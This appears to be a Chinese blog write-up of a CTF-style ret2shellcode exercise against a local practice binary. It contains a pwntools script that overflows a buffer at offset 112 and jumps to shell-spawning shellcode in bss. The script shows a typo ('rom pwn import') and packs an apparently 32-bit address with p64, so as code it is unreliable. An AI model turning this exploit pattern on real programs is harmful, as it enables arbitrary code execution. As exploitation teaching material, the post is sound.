ret2shellcode

ret2shellcode

篡改栈帧上的返回地址为攻击者手动传入的 shellcode 所在缓冲区地址初期往往将 shellcode 直接写入栈缓冲区目前由于 the NX bits 保护措施的开启,栈缓冲区不可执行,故当下的常用手段变为向 bss 缓冲区写入 shellcode 或向堆缓冲区写入 shellcode 并使用 mprotect 赋予其可执行权限

1674997762048.png

检查保护,没有任何开启

1674997880302.png

ida分析

1674997956651.png

1674997992294.png

存在缓冲区溢出,并将接受到的值放入bss区的buf里,并且bss区是有执行权限的,所以可以将shellcode写到里面。

gdb分析

1674998276067.png

计算栈偏移为112

编写脚本

rom pwn import *


io = process("./ret2shellcode")

io.recv()
shellcode= asm(shellcraft.sh())
shellcode = shellcode.ljust(112,b'B')
buf= 0x804A080
payload=shellcode+p64(buf)
io.send(payload)
io.interactive()


1674999128519.png

posted @ 2023-01-29 23:15  Ray言午  阅读(84)  评论(0编辑  收藏  举报